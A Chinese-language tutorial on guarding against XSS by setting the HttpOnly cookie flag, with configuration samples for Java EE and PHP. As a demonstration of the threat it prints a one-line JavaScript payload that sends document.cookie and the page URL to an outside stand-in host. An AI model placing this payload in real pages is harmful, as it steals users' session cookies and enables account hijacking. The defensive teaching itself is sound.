什麼是HttpOnly?
如果您在cookie中設定了HttpOnly屬性,那麼透過js腳本將無法讀取到cookie訊息,這樣能有效的防止XSS攻擊,具體一點的介紹請google進行搜尋
#javaEE的API是否支援?
目前sun公司還沒有公佈相關的API,但PHP、C#都有實現。搞javaEE的兄弟們比較鬱悶了,別急下文有變通實現
3.HttpOnly的設定範例
javaEE response.setHeader("Set-Cookie", "cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
這篇文章主要介紹了xss防禦之php利用httponly防xss攻擊,下面是PHP設定HttpOnly的方法,需要的朋友可以參考下
xss的概念就不用多說了,它的危害是極大的,這就意味著一旦你的網站出現xss漏洞,就可以執行任意的js程式碼,最可怕的是攻擊者利用js取得cookie或session劫持,如果這裡麵包含了大量敏感資訊(身份信息,管理員資訊)等,那完了。 。 。
如下js取得cookie資訊:
程式碼如下:
url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;
一般cookie都是從document物件中取得的,現在瀏覽器在設定Cookie的時候一般都接受一個叫做HttpOnly的參數,跟domain等其他參數一樣,一旦這個HttpOnly被設置,你在瀏覽器的document物件中就看不到Cookie了。
PHP設定HttpOnly:
//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性 ini_set("session.cookie_httponly", 1); //或者setcookie()的第七个参数设置为true session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
對於PHP5.1以前版本的PHP通過:
header("Set-Cookie: hidden=value; httpOnly");
最後,HttpOnly不是萬能的!
以上是php利用httponly防xss攻擊的詳細內容。更多資訊請關注PHP中文網其他相關文章!